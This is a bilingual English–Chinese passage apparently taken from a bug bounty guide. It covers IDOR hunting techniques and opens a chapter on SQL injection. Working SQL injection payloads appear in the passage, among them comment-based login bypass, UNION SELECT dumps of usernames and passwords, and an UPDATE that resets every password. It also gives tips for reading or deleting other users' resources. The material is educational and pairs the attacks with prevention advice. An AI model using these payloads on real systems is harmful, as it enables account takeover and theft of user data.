如果应用程序使用哈希或随机 ID，请查看 ID 是否可预测。有时应用程序使用产生不足熵的算法。熵是 ID 的随机程度。字符串的熵越高，猜测它就越难。有些 ID 没有足够的熵，经过仔细分析就可以预测。在这种情况下，试着创建一些帐户来分析这些 ID 是如何创建的。您可能会发现一个模式，允许您预测属于其他用户的 ID。

Leaked IDs

It might also be possible that the application leaks IDs via another API endpoint or other public pages of the application, like the profile page of a user. I once found an API endpoint that allowed users to retrieve detailed direct messages through a hashed conversation_id value. The request looks like this:

该应用程序可能也有可能通过另一个API端点或其他应用程序的公共页面泄露ID，比如用户的资料页面。我曾经发现一个API端点，允许用户通过哈希的conversation_id值检索详细的直接信息。请求的样子是这样的：

GET /messages?conversation_id=O1SUR7GJ43HS93VAR8xxxx

This seems safe at first glance, since the conversation_id is a long, random, alphanumeric sequence. But I later found that anyone could request a list of conversation_id s for each user, just by using their public user ID! The following request would return a list of conversation_id s belonging to that user:

乍一看，这似乎是安全的，因为conversation_id是一个长的，随机的，字母数字序列。但我后来发现，任何人只需使用其公共用户ID，就可以请求每个用户的会话ID列表！以下请求将返回属于该用户的会话ID列表：

GET /messages?user_id=1236

Since the user_id is publicly available on each user’s profile page, I could read any user’s messages by first obtaining their user_id on their profile page, retrieving a list of conversation_id s belonging to that user, and finally loading the messages via their conversation_id s.

由于每个用户的个人资料页面上都公开了 user_id，因此我可以通过首先获取其个人资料页面上的 user_id，检索属于该用户的会话 ID 列表，最后通过其会话 ID 加载消息，读取任何用户的消息。

Offer the Application an ID, Even If It Doesn’t Ask for One

In modern web applications, you’ll commonly encounter scenarios in which the application uses cookies instead of IDs to identify the resources a user can access.

在现代Web应用程序中，你经常会遇到这样的情况，即应用程序使用Cookie而不是ID来识别用户可以访问的资源。

For example, when you send the following GET request to an endpoint, the application will deduce your identity based on your session cookie, and then send you the messages associated with that user:

例如，当您向端点发送以下GET请求时，应用程序将根据您的会话Cookie推断您的身份，然后向您发送与该用户相关联的消息：

GET /api_v1/messages
Host: example.com
Cookies: session=YOUR_SESSION_COOKIE

Since you don’t know another user’s session cookies, you cannot use those session cookies to read their messages. This might make it seem like the application is safe from IDORs. But some applications will implement an alternative way of retrieving resources, using object IDs. They sometimes do this for the convenience of the developers, for backward compatibility, or just because developers forgot to remove a test feature.

由于您不知道另一个用户的会话 cookie，因此您不能使用那些会话 cookie 来读取他们的消息。这可能会让应用程序看起来免于 IDORs。但是，有些应用程序将实现一种替代的检索资源的方法，使用对象 ID。他们有时这样做是为方便开发人员，为了向后兼容性，或者只是因为开发人员忘记删除测试功能。

If no IDs exist in the application-generated request, try adding one to the request. Append id , user_id , message_id , or other object references to the URL query, or the POST body parameters, and see if it makes a difference to the application’s behavior. For example, say this request displays your messages:

如果应用程序生成的请求中没有标识符，请尝试向请求中添加一个。将id、user_id、message_id或其他对象引用附加到URL查询或POST正文参数中，并查看对应用程序行为是否产生影响。例如，假设此请求显示您的消息：

GET /api_v1/messages

Then maybe this request would display another user’s messages instead:

那么也许这个请求会显示另一个用户的消息：

GET /api_v1/messages?user_id=ANOTHER_USERS_ID

Keep an Eye Out for Blind IDORs

Still, sometimes endpoints susceptible to IDOR don’t respond with the leaked information directly. They might lead the application to leak information elsewhere, instead: in export files, email, and maybe even in text alerts. For example, imagine that this endpoint on example.com allows users to email themselves a copy of a receipt:

然而，有时易受IDOR攻击的终端不会直接响应泄漏的信息。它们可能会导致应用程序在其他地方泄漏信息，例如在导出文件、电子邮件甚至文本警报中。例如，想象一下，在example.com上，这个终端允许用户将收据副本通过电子邮件发送给自己：

POST /get_receipt

(POST request body)
receipt_id=3001

This request will send a copy of receipt 3001 to the registered email of the current user. Now, what if you were to request a receipt that belongs to another user, receipt 2983?

这个请求将会把收据3001的副本发送至当前用户已注册的电子邮件。那么，如果你要请求属于另一个用户的收据，比如是收据2983，该怎么办呢？

POST /get_receipt

(POST request body)
receipt_id=2983

While the HTTP response does not change, you may get a copy of receipt 2983 in your email inbox! Often a malicious request can cause an info leak sometime in the future. I once found an IDOR that led to an info leak one month later, in a monthly report.

如果HTTP响应不变，您可能会在电子邮件收件箱中收到2983号收据的副本！通常，恶意请求可能会在未来某个时候造成信息泄漏。我曾经发现一个IDOR，在一个月后的月度报告中导致了信息泄漏。

Change the Request Method

If one HTTP request method doesn’t work, you can try plenty of others instead: GET, POST, PUT, DELETE, PATCH, and so on. Applications often enable multiple request methods on the same endpoint but fail to implement the same access control for each method. For example, if this GET request is not vulnerable to IDOR and doesn’t return another user’s resources

如果一个HTTP请求方法不可行，你可以试试其他的方法：例如GET，POST，PUT，DELETE，PATCH等等。许多应用程序常常在同一个终点上启用多个请求方法，但未能为每个方法实现相同的访问控制。例如，如果此GET请求不易受到IDOR攻击，并且不会返回另一个用户的资源。

GET example.com/uploads/user1236-01.jpeg

you can try to use the DELETE method to delete the resource instead. The DELETE method removes the resource from the target URL:

您可以尝试使用DELETE方法删除资源。DELETE方法会从目标URL中删除资源。

DELETE example.com/uploads/user1236-01.jpeg

If POST requests don’t work, you can also try to update another user’s resource by using the PUT method. The PUT method updates or creates the resource at the target URL:

如果POST请求不起作用，您也可以尝试使用PUT方法更新另一个用户的资源。PUT方法会在目标URL上更新或创建资源：

PUT example.com/uploads/user1236-01.jpeg

(PUT request body)
NEW_FILE

Another trick that often works is switching between POST and GET requests. If there is a POST request like this one

另一个经常起作用的魔术是在POST和GET请求之间切换。如果有像这个一样的POST请求。

POST /get_receipt

(POST request body)
receipt_id=2983

you can try rewriting it as a GET request, like this:

你可以尝试将它改写为GET请求，就像这样:

GET /get_receipt?receipt_id=2983

Change the Requested File Type

Switching the file type of the requested file sometimes leads the server to process the authorization differently. Applications might be flexible about how the user can identify information: they could allow users to either use IDs to reference a file or use the filename directly. But applications often fail to implement the same access controls for each method of reference.

请求文件切换文件类型有时会导致服务器以不同的方式处理授权。应用程序可能灵活地确定用户如何识别信息：它们可以允许用户使用 ID 引用文件或直接使用文件名。但是，应用程序往往未能为每种引用方法实施相同的访问控制。

For example, applications commonly store information in the JSON file type. Try adding the .json extension to the end of the request URL and see what happens. If this request is blocked by the server

例如，应用程序通常将信息存储在JSON文件类型中。尝试在请求URL的末尾添加“.json”扩展名，看看会发生什么。如果服务器阻止此请求。

GET /get_receipt?receipt_id=2983

then try this one instead:

那就试试这个：

GET /get_receipt?receipt_id=2983.json

Escalating the Attack

The impact of an IDOR depends on the affected function, so to maximize the severity of your bugs, you should always look for IDORs in critical functionalities first. Both read-based IDORs (which leak information but do not alter the database) and write-based IDORs (which can alter the database in an unauthorized way) can be of high impact.

IDOR的影响取决于受影响的功能，因此为了最大化漏洞的严重性，您应始终首先寻找关键功能中的IDOR。基于读取的IDOR（泄露信息但不更改数据库）和基于写入的IDOR（可以以未经授权的方式更改数据库）都可能会造成很高的影响。

In terms of the state-changing, write-based IDORs, look for IDORs in password reset, password change, and account recovery features, as these often have the highest business impact. Target these over, say, a feature that changes email subscription settings.

在状态变更、基于写入的IDOR方面，寻找密码重置、密码更改和账户恢复等功能中IDOR，因为这些功能往往具有最大的商业影响。与修改电子邮件订阅设置等功能相比，重点关注这些功能。

As for the non-state-changing (read-based) IDORs, look for functionalities that handle the sensitive information in the application. For example, look for functionalities that handle direct messages, personal information, and private content. Consider which application functionalities make use of this information and look for IDORs accordingly.

对于非状态改变（基于读取的）IDOR，请查找应用程序中处理敏感信息的功能。例如，查找处理直接消息、个人信息和私人内容的功能。考虑哪些应用程序功能使用此信息，并相应地查找IDOR。

You can also combine IDORs with other vulnerabilities to increase their impact. For example, a write-based IDOR can be combined with self-XSS to form a stored XSS. An IDOR on a password reset endpoint combined with username enumeration can lead to a mass account takeover. Or a write IDOR on an admin account may even lead to RCE! We’ll talk about RCEs in Chapter 18 .

您还可以将IDOR与其他漏洞相结合，以增加其影响力。例如，基于写入的IDOR可与自我XSS结合形成存储的XSS。在密码重置端点上的IDOR与用户名枚举相结合，可以导致大规模的账户接管。或者，对管理员帐户的写入IDOR甚至可能导致RCE！我们将在第18章讨论RCE。

Automating the Attack

After you get the hang of hunting for IDORs, you can try to automate IDOR hunting by using Burp or your own scripts. For example, you can use the Burp intruder to iterate through IDs to find valid ones. The Burp extension Autorize ( https://github.com/Quitten/Autorize/ ) scans for authorization issues by accessing higher-privileged accounts with lower-privileged accounts, whereas the Burp extensions Auto Repeater ( https://github.com/nccgroup/AutoRepeater/ ) and AuthMatrix ( https://github.com/SecurityInnovation/AuthMatrix/ ) allow you to automate the process of switching out cookies, headers, and parameters. For more information on how to use these tools, go to the Extender tab of your Burp window, then to the BAppStore tab to find the extension you want to use.

掌握搜索IDOR后，您可以尝试通过使用Burp或自己的脚本自动化IDOR搜索。例如，您可以使用Burp Intruder来迭代ID以找到有效的ID。Burp扩展名Autorize（https://github.com/Quitten/Autorize/）通过使用低特权帐户访问高特权帐户来扫描授权问题。而Burp扩展名Auto Repeater（https://github.com/nccgroup/AutoRepeater/）和AuthMatrix（https://github.com/SecurityInnovation/AuthMatrix/）允许您自动化切换cookies、头文件和参数的过程。有关如何使用这些工具的更多信息，请转到Burp窗口的Extender选项卡，然后转到BAppStore选项卡以查找要使用的扩展。

Finding Your First IDOR!

Now that you know what IDORs are, how to bypass IDOR protection, and how to escalate IDORs, you’re ready to look for your first one! Hop on a bug bounty program and follow the steps discussed in this chapter:

既然你知道了IDOR是什么，如何绕过IDOR保护，以及如何升级IDOR，你就已经准备好去寻找你的第一个IDOR了！赶快参加漏洞赏金计划，并按照本章讨论的步骤来进行吧！

Create two accounts for each application role and designate one as the attacker account and the other as the victim account.

Discover features in the application that might lead to IDORs. Pay attention to features that return sensitive information or modify user data.

Revisit the features you discovered in step 2. With a proxy, intercept your browser traffic while you browse through the sensitive functionalities.

With a proxy, intercept each sensitive request and switch out the IDs that you see in the requests. If switching out IDs grants you access to other users’ information or lets you change their data, you might have found an IDOR.

Don’t despair if the application seems to be immune to IDORs. Use this opportunity to try a protection-bypass technique! If the application uses an encoded, hashed, or randomized ID, you can try decoding or predicting the IDs. You can also try supplying the application with an ID when it does not ask for one. Finally, sometimes changing the request method type or file type makes all the difference.

Monitor for information leaks in export files, email, and text alerts. An IDOR now might lead to an info leak in the future.

Draft your first IDOR report!

11
SQL Injection

SQL is a programming language used to query or modify information stored within a database. A SQL injection is an attack in which the attacker executes arbitrary SQL commands on an application’s database by supplying malicious input inserted into a SQL statement. This happens when the input used in SQL queries is incorrectly filtered or escaped and can lead to authentication bypass, sensitive data leaks, tampering of the database, and RCE in some cases.

SQL是一种编程语言，用于查询或修改数据库中存储的信息。SQL注入是一种攻击，攻击者通过提供插入到SQL语句中的恶意输入，在应用程序数据库中执行任意SQL命令。当SQL查询中使用的输入未正确过滤或转义时，就会发生这种情况，这可能会导致绕过身份验证、敏感数据泄漏、篡改数据库以及在某些情况下引发RCE等问题。

SQL injections are on the decline, since most web frameworks now have built-in mechanisms that protect against them. But they are still common. If you can find one, they tend to be critical vulnerabilities that result in high payouts, so when you first start hunting for vulnerabilities on a target, looking out for them is still worthwhile. In this chapter, we will talk about how to find and exploit two types of SQL injections: classic SQL injections and blind SQL injections. We will also talk about injections in NoSQL databases, which are databases that do not use the SQL query language.

SQL注入攻击正在减少，因为大多数Web框架现在都具有内置机制来保护它们。但仍然很普遍。如果您能发现一个，它们往往是关键漏洞，会导致高额赔款，因此当您首次开始在目标上寻找漏洞时，仍然值得寻找它们。在本章中，我们将讨论如何查找和利用两种类型的SQL注入：经典SQL注入和盲SQL注入。我们还将讨论NoSQL数据库中的注入，这些数据库不使用SQL查询语言。

Note that the examples used in this chapter are based on MySQL syntax. The code for injecting commands into other database types will be slightly different, but the overall principles remain the same.

请注意，本章中使用的示例基于MySQL语法。将命令注入到其他数据库类型的代码会略有不同，但总体原则仍然相同。

Mechanisms

To understand SQL injections, let’s start by understanding what SQL is. Structured Query Language (SQL) is a language used to manage and communicate with databases.

了解 SQL 注入，首先需要了解 SQL 是什么。SQL 是一种管理和与数据库通信的语言。

Traditionally, a database contains tables, rows, columns, and fields. The rows and columns contain the data, which gets stored in single fields. Let’s say that a web application’s database contains a table called Users ( Table 11-1 ). This table contains three columns: ID, Username, and Password. It also contains three rows of data, each storing the credentials of a different user.

传统上，数据库包含表、行、列和字段。 行和列包含数据，这些数据存储在单个字段中。 假设Web应用程序的数据库包含一个名为用户（表11-1）的表。 该表包含三个列：ID、用户名和密码。它还包含三行数据，每行存储不同用户的凭据。传统上，数据库包含表、行、列和字段。行和列包含数据，这些数据存储在单个字段中。假设一个Web应用程序的数据库包含一个名为“用户”（表11-1）的表。该表包含三个列：ID、用户名和密码。它还包含三行数据，每行存储不同用户的凭据。

Table 11-1 : The Example Users Database Table

表11-1：示例用户数据库表

ID | Username | Password
1 | admin | t5dJ12rp$fMDEbSWz
2 | vickie | password123
3 | jennifer | letmein!

The SQL language helps you efficiently interact with the data stored in databases by using queries. For example, SQL SELECT statements can be used to retrieve data from the database. The following query will return the entire Users table from the database:

SQL语言通过使用查询使您有效地与存储在数据库中的数据进行交互。例如，SQL SELECT语句可用于从数据库检索数据。以下查询将从数据库返回完整的用户表：

SELECT * FROM Users;

This query would return all usernames in the Users table:

这个查询会在用户表中返回所有的用户名：

SELECT Username FROM Users;

Finally, this query would return all users with the username admin :

最后，此查询将返回所有用户名为admin的用户：

SELECT * FROM Users WHERE Username='admin';

There are many more ways to construct a SQL query that interacts with a database. You can learn more about SQL syntax from W3Schools at https://www.w3schools.com/sql/default.asp .

构建与数据库交互的SQL查询的方法还有很多。您可以从W3Schools了解有关SQL语法的更多信息，网址为https://www.w3schools.com/sql/default.asp。

Injecting Code into SQL Queries

A SQL injection attack occurs when an attacker is able to inject code into the SQL statements that the target web application uses to access its database, thereby executing whatever SQL code the attacker wishes. For example, let’s say that a website prompts its users for their username and password, then inserts these into a SQL query to log in the user. The following POST request parameters from the user will be used to populate a SQL query:

SQL注入攻击发生在攻击者能够将代码注入到目标网络应用程序用于访问其数据库的SQL语句中，从而执行攻击者期望的任何SQL代码。例如，假设一个网站提示用户输入用户名和密码，然后将这些信息插入到一个SQL查询中以登录用户。以下来自用户的POST请求参数将被用于填充SQL查询:

POST /login
Host: example.com

(POST request body)
username=vickie&password=password123

This SQL query will find the ID of a user that matches the username and password provided in the POST request. The application will then log in to that user’s account:

这个SQL查询将在POST请求中提供的用户名和密码匹配的用户ID。应用程序将登录该用户的帐户。

SELECT Id FROM Users
WHERE Username='vickie' AND Password='password123';

So what’s the problem here? Since users can’t predict the passwords of others, they should have no way of logging in as others, right? The issue is that attackers can insert characters that are special to the SQL language to mess with the logic of the query. For example, if an attacker submits the following POST request:

那么问题在哪里呢？由于用户无法预测其他人的密码，所以他们应该没有办法以其他人的身份登录，不是吗？问题在于攻击者可以插入对SQL语言来说特殊的字符来干扰查询的逻辑。例如，如果攻击者提交以下POST请求：

POST /login
Host: example.com

(POST request body)
username="admin';-- "&password=password123

the generated SQL query would become this:

生成的SQL查询将成为这个：

SELECT Id FROM Users
WHERE Username='admin';-- ' AND Password='password123';

The -- sequence denotes the start of a SQL comment, which doesn’t get interpreted as code, so by adding -- into the username part of the query, the attacker effectively comments out the rest of the SQL query. The query becomes this:

“--” 字符串代表 SQL 注释的开头，不被编译为代码，因此通过将“--”添加到查询语句的用户名部分，攻击者可以有效地注释掉 SQL 查询语句的其余部分。查询语句变成这样：

SELECT Id FROM Users WHERE Username='admin';

This query will return the admin user’s ID, regardless of the password provided by the attacker. By injecting special characters into the SQL query, the attacker bypassed authentication and can log in as the admin without knowing the correct password!

这个查询将返回管理员用户的ID，无论攻击者提供的密码是什么。通过向SQL查询中注入特殊字符，攻击者绕过了身份验证，并且可以在不知道正确密码的情况下作为管理员登录！

Authentication bypass is not the only thing attackers can achieve with SQL injection. Attackers might also be able to retrieve data they shouldn’t be allowed to access. Let’s say a website allows users to access a list of their emails by providing the server a username and an access key to prove their identity:

攻击者通过 SQL 注入不只能够绕过身份验证。攻击者可能还能够获取他们不应该访问的数据。例如，一个网站允许用户通过提供用户名和访问密钥来获取他们的电子邮件列表：

GET /emails?username=vickie&accesskey=ZB6w0YLjzvAVmp6zvr
Host: example.com

This GET request might generate a query to the database with the following SQL statement:

可能会生成以下SQL语句的数据库查询的GET请求：

SELECT Title, Body FROM Emails
WHERE Username='vickie' AND AccessKey='ZB6w0YLjzvAVmp6zvr';

In this case, attackers can use the SQL query to read data from other tables that they should not be able to read. For instance, imagine they sent the following HTTP request to the server:

在此情况下，攻击者可以利用 SQL 查询从其他不应读取的表中读取数据。例如，想象他们向服务器发送以下 HTTP 请求：

GET /emails?username=vickie&accesskey="ZB6w0YLjzvAVmp6zvr'
1 UNION SELECT Username, Password FROM Users;-- "
Host: example.com

The server would turn the original SQL query into this one:

服务器将原始的 SQL 查询转换为以下内容：

1 SELECT Title, Body FROM Emails
WHERE Username='vickie' AND AccessKey='ZB6w0YLjzvAVmp6zvr'
2 UNION 3SELECT Username, Password FROM Users;4-- ;

The SQL UNION 2 operator combines the results of two different SELECT statements. Therefore, this query combines the results of the first SELECT statement 1 , which returns a user’s emails, and the second SELECT statement 3 , which, as described earlier, returns all usernames and passwords from the Users table. Now the attacker can read all users’ usernames and passwords in the HTTP response! (Note that many SQL injection payloads would comment out whatever comes after the injection point 4 , to prevent the rest of the query from messing up the syntax or logic of the query.)

SQL UNION 2 操作符将两个不同 SELECT 语句的结果合并起来。因此，该查询将第一个 SELECT 语句 1 的结果（返回用户的电子邮件）和第三个 SELECT 语句 3 的结果（如前所述，从 Users 表返回所有用户名和密码）合并在一起。现在攻击者可以在 HTTP 响应中读取所有用户的用户名和密码！（请注意，许多 SQL 注入有效负载会注释掉注入点 4 后面的任何内容，以防止查询的语法或逻辑混乱。）

SQL injection isn’t limited to SELECT statements, either. Attackers can also inject code into statements like UPDATE (used to update a record), DELETE (used to delete existing records), and INSERT (used to create new entries in a table). For example, let’s say that this is the HTTP POST request used to update a user’s password on the target website:

SQL注入不仅限于SELECT语句。攻击者还可以将代码注入到UPDATE（用于更新记录），DELETE（用于删除现有记录）和INSERT（用于在表中创建新条目）等语句中。例如，假设这是用于更新目标网站上用户密码的HTTP POST请求：

POST /change_password
Host: example.com

(POST request body)
new_password=password12345

The website would form an UPDATE query with your new password and the ID of the currently logged-in user. This query will update the row in the Users table whose ID field is equal to 2, and set its password to password12345 :

该网站将通过新密码和当前登录用户的ID形成一个UPDATE查询。此查询将更新用户表中ID字段等于2的行，并将其密码设置为password12345。

UPDATE Users
SET Password='password12345'
WHERE Id = 2;

In this case, attackers can control the SET clause of the statement, which is used to specify which rows should be updated in a table. The attacker can construct a POST request like this one:

在这种情况下，攻击者可以控制语句中的SET子句，该子句用于指定应在表中更新哪些行。攻击者可以构造像这样的POST请求：

POST /change_password
Host: example.com

(POST request body)
new_password="password12345';--"

This request generates the following SQL query:

此请求生成以下 SQL 查询：

UPDATE Users
SET Password='password12345';-- WHERE Id = 2;

The WHERE clause, which specifies the criteria of the rows that should be updated, is commented out in this query. The database would update all rows in the table, and change all of the passwords in the Users table to password12345 . The attacker can now log in as anyone by using that password.

WHERE子句在此查询中被注释了，它指定了应该更新的行的标准。数据库将更新表中所有行，并将Users表中所有密码更改为password12345。攻击者现在可以使用该密码登录任何账户。

Using Second-Order SQL Injections

So far, the SQL injections we’ve discussed are all first-order SQL injections. First-order SQL injections happen when applications use user-submitted input directly in a SQL query. On the other hand, second-order SQL injections happen when user input gets stored into a database, then retrieved and used unsafely in a SQL query. Even if applications handle input properly when it’s submitted by the user, these vulnerabilities can occur if the application mistakenly treats the data as safe when it’s retrieved from the database.

到目前为止，我们已经讨论的 SQL 注入都是一级 SQL 注入。当应用程序直接在 SQL 查询中使用用户提交的输入时，就会发生一级 SQL 注入。另一方面，当用户输入被存储到数据库中，然后不安全地在 SQL 查询中检索和使用时，就会发生二级 SQL 注入。即使应用程序在用户提交输入时正确地处理输入，如果应用程序在从数据库中检索到数据时错误地将数据视为安全，则可能会出现这些漏洞。

For example, consider a web application that allows users to create an account by specifying a username and a password. Let’s say that a malicious user submits the following request:

例如，考虑一个允许用户通过指定用户名和密码创建帐户的Web应用程序。假设有一个恶意用户提交了以下请求：

POST /signup
Host: example.com

(POST request body)
username="vickie' UNION SELECT Username, Password FROM Users;--
"&password=password123

This request submits the username vickie' UNION SELECT Username, Password FROM Users;-- and the password password123 to the /signup endpoint. The username POST request parameter contains a SQL injection payload that would SELECT all usernames and passwords and concatenate them to the results of the database query.

这个请求提交了用户名 vickie' UNION SELECT Username, Password FROM Users;-- 和密码 password123 到 /signup 端点。用户名 POST 请求参数包含了一个 SQL 注入负载，该负载将选择所有用户名和密码，并将它们连接到数据库查询的结果中。

The application properly handles the user input when it’s submitted, using the protection techniques I’ll discuss in the next section. And the string vickie' UNION SELECT Username, Password FROM Users;-- is stored into the application’s database as the attacker’s username.

应用程序在用户提交时正确处理其输入，并使用我将在下一节中讨论的保护技术。并且字符串vickie' UNION SELECT Username, Password FROM Users;--作为攻击者的用户名存储在应用程序的数据库中。该应用程序能够正确处理用户提交的输入，并采用我在下一节中讨论的保护技术。攻击者使用的字符串“vickie' UNION SELECT Username, Password FROM Users;--”被存储于应用程序数据库中作为攻击者的用户名。

Later, the malicious user accesses their email with the following GET request:

以后，恶意用户使用以下GET请求访问他们的电子邮件：

GET /emails
Host: example.com

In this case, let’s say that if the user doesn’t provide a username and an access key, the application will retrieve the username of the currently logged-in user from the database and use it to populate a SQL query:

在这种情况下，假设用户没有提供用户名和访问密钥，则应用程序将从数据库中检索当前已登录用户的用户名并使用它来填充SQL查询。

SELECT Title, Body FROM Emails
WHERE Username='USERNAME'

But the attacker’s username, which contains SQL code, will turn the SQL query into the following one:

但攻击者的用户名中包含SQL代码，将会把SQL查询转变为以下形式：

SELECT Title, Body FROM Emails
WHERE Username='vickie'
UNION SELECT Username, Password FROM Users;--

This will return all usernames and passwords as email titles and bodies in the HTTP response!

这将在HTTP响应中返回所有用户名和密码作为电子邮件标题和正文！

Prevention

Because SQL injections are so devastating to an application’s security, you must take action to prevent them. One way you can prevent SQL injections is by using prepared statements. Prepared statements are also called parameterized queries , and they make SQL injections virtually impossible.

由于SQL注入对应用程序的安全性有如此巨大的破坏力，所以您必须采取措施来防止它们。其中一种方式是使用准备语句进行预防SQL注入攻击。准备语句也称作参数化查询，它们几乎可以使SQL注入攻击变成不可能。

Before we dive into how prepared statements work, it’s important to understand how SQL queries are executed. SQL is a programming language, and your SQL query is essentially a program. When the SQL program arrives at the SQL server, the server will parse, compile, and optimize it. Finally, the server will execute the program and return the results of the execution ( Figure 11-1 ) .

在我们深入了解预处理语句的工作方式之前，重要的是要了解SQL查询的执行方式。SQL是一种编程语言，你的SQL查询本质上就是一个程序。当SQL程序到达SQL服务器时，服务器将对其进行解析、编译和优化。最后，服务器将执行程序并返回执行结果（图11-1）。

Figure 11-1 : Life of a SQL query

图11-1：SQL查询的生命周期

When you insert user-supplied input into your SQL queries, you are basically rewriting your program dynamically, using user input. An attacker can supply data that interferes with the program’s code and alter its logic ( Figure 11-2 ).

当您将用户提供的输入插入到SQL查询中时，您基本上是动态地重写程序，使用用户输入。攻击者可以提供干扰程序代码并改变其逻辑的数据（图11-2）。

Figure 11-2 : A SQL query that concatenates user input into the query before compilation will make the database treat user input as code.

图11-2：在编译之前将用户输入连接到查询中的SQL查询将使数据库将用户输入视为代码。

Prepared statements work by making sure that user-supplied data does not alter your SQL query’s logic. These SQL statements are sent to and compiled by the SQL server before any user-supplied parameters are inserted. This means that instead of passing a complete SQL query to the server to be compiled, you define all the SQL logic first, compile it, and then insert user-supplied parameters into the query right before execution ( Figure 11-3 ). After the parameters are inserted into the final query, the query will not be parsed and compiled again.

预处理语句通过确保用户提供的数据不会改变您的 SQL 查询逻辑来工作。在任何用户提供的参数被插入之前，这些 SQL 语句将被发送到 SQL 服务器并编译。这意味着你首先定义所有 SQL 逻辑、编译它，然后在执行之前将用户提供的参数插入查询中（图11-3）。在参数插入到最终的查询之后，查询不会再次被解析和编译。

Figure 11-3 : A SQL query that concatenates user input into the query after compilation allows the database to distinguish between the code part and the data part of the SQL query.

图11-3：编译后将用户输入连接到查询中的SQL查询允许数据库区分SQL查询的代码部分和数据部分。

Anything that wasn’t in the original statement will be treated as string data, not executable SQL code, so the program logic part of your SQL query will remain intact. This allows the database to distinguish between the code part and the data part of the SQL query, regardless of what the user input looks like.

任何原陈述中没有的内容将被视为字符串数据，而非可执行的 SQL 代码，因此 SQL 查询的程序逻辑部分将保持不变。这使得数据库能够区分 SQL 查询的代码部分和数据部分，无论用户输入的是什么样子。

Let’s look at an example of how to execute SQL statements safely in PHP. Say that we want to retrieve a user’s ID by using their provided username and password, so we want to execute this SQL statement:

让我们看一下PHP中如何安全执行SQL语句的示例。假设我们想通过使用提供的用户名和密码检索用户ID，因此我们想要执行以下SQL语句：

SELECT Id FROM Users
WHERE Username=USERNAME AND Password=PASSWORD;

Here’s how to do that in PHP:

这是如何在PHP中实现的方法：

$mysqli = new mysqli("mysql_host", "mysql_username", "mysql_password", "database_name"); 1

$username = $_POST["username"]; 2
$password = $_POST["password"]; 3

In PHP, we first establish a connection with our database 1 , and then retrieve the username and password as POST parameters from the user 2 3 .

在 PHP 中，我们首先与数据库 1 建立连接，然后从用户 2 3 检索用户名和密码作为 POST 参数。

To use a prepared statement, you would define the structure of the query first. We’ll write out the query without its parameters, and put question marks as placeholders for the parameters:

要使用预处理语句，您需要首先定义查询的结构。我们会先将查询写出来，而将参数用问号作为占位符：

$stmt = $mysqli->prepare("SELECT Id FROM Users WHERE Username=? AND Password=?");

This query string will now be compiled by the SQL server as SQL code. You can then send over the parameters of the query separately. The following line of code will insert the user input into the SQL query:

此查询字符串现在将由SQL服务器编译为SQL代码。然后，您可以单独发送查询参数。以下代码行将将用户输入插入SQL查询中：

$stmt->bind_param("ss", $username, $password);

Finally, you execute the query:

最终，你执行查询：

$stmt->execute();

The username and password values provided by the user aren’t compiled like the statement template, and aren’t executed as the logic part of the SQL code. Therefore, if an attacker provides the application with a malicious input like this one, the entire input would be treated as plain data, not as SQL code:

用户提供的用户名和密码值未编译成语句模板，并且不作为 SQL 代码的逻辑部分执行。因此，如果攻击者向应用程序提供恶意输入，整个输入将被视为纯数据，而不是 SQL 代码：

Password12345';--

How to use prepared statements depends on the programming language you are using to code your applications. Wikipedia provides a few examples: https://en.wikipedia.org/wiki/Prepared_statement .

如何使用预处理语句取决于您使用的编程语言来编写应用程序。维基百科提供了一些示例：https://en.wikipedia.org/wiki/Prepared_statement。

Another way of preventing SQL injections is to use an allowlist for allowed values. For example, the SQL ORDER BY clause allows a query to specify the column by which to sort the results. Therefore, this query will return all of the user’s emails in our table, sorted by the Date column, in descending order:

另外一种防止SQL注入的方法是使用允许值的允许列表。例如，SQL ORDER BY子句允许查询指定用于排序结果的列。因此，此查询将按日期列的降序返回表中所有用户的电子邮件。

SELECT Title, Body FROM Emails
WHERE Username='vickie' AND AccessKey='ZB6w0YLjzvAVmp6zvr';
ORDER BY Date DESC;

If the application allows users to specify a column to use for ordering their email, it can rely on an allowlist of column names for the ORDER BY clause instead of allowing arbitrary input from the user. For example, the application can allow only the values Date , Sender , and Title , and reject all other user-input values.

如果应用程序允许用户指定用于排序电子邮件的列，则可以依赖于允许列表中的列名进行 ORDER BY 子句，而不是允许用户提供任意输入。例如，应用程序只能允许 Date、Sender 和 Title 这些值，并拒绝所有其他用户输入的值。

Finally, you can carefully sanitize and escape user input. However, this approach isn’t entirely bulletproof, because it’s easy to miss special characters that attackers could use to construct a SQL injection attack. Special characters that should be sanitized or escaped include the single quote ( ' ) and double quote ( " ), but special characters specific to each type of database also exist. For more information about SQL input sanitization, read OWASP’s cheat sheet at https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html .

最后，你可以仔细地对用户输入进行消毒和转义。然而，这种方法并不完全安全，因为很容易忽略攻击者可能用来构建 SQL 注入攻击的特殊字符。应该消毒或转义的特殊字符包括单引号 (') 和双引号 (")，但每种类型的数据库都存在特定的特殊字符。关于 SQL 输入消毒的更多信息，请阅读 OWASP 的作弊表，网址为 https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html。

Hunting for SQL Injections

Let’s start hunting for SQL injections! Earlier in this chapter, I mentioned that we can classify SQL injections as either first order or second order. But there’s another way of classifying SQL injections that is useful when exploiting them: classic SQL injections, and blind SQL. The approach to detecting and exploiting these differs.

让我们开始寻找SQL注入！在本章早些时候，我提到过我们可以将SQL注入分类为一级注入或二级注入。但是，在利用它们时，还有另一种有用的分类方法：经典SQL注入和盲注SQL。检测和利用这些的方法是不同的。

Before we dive into each type, a common technique for detecting any SQL injection is to insert a single quote character ( ' ) into every user input and look for errors or other anomalies. The single quote is a special character in SQL statements that denotes the end of a query string. If the application is protected against SQL injections, it should treat the single quote as plain data, and inserting a single quote into the input field should not trigger database errors or change the logic of the database query.

在我们深入讨论每种类型之前，检测 SQL 注入的常见技术是将单引号字符（'）插入每个用户输入，并查找错误或其他异常。单引号是 SQL 语句中表示查询字符串结束的特殊字符。如果应用程序受到 SQL 注入的保护，它应该将单引号视为普通数据，将单引号插入输入字段不应触发数据库错误或更改数据库查询的逻辑。

Another general way of finding SQL injections is fuzzing , which is the practice of submitting specifically designed SQL injection payloads to the application and monitoring the server’s response. We will talk about this in Chapter 25 .

发现SQL注入的另一种常规方法是“Fuzzing”，即将特别设计的SQL注入有效载荷提交给应用程序并监视服务器的响应。我们将在第25章中讨论此问题。

Otherwise, you can submit payloads designed for the target’s database intended to trigger a difference in database response, a time delay, or a database error. Remember, you’re looking for clues that the SQL code you injected can be executed.

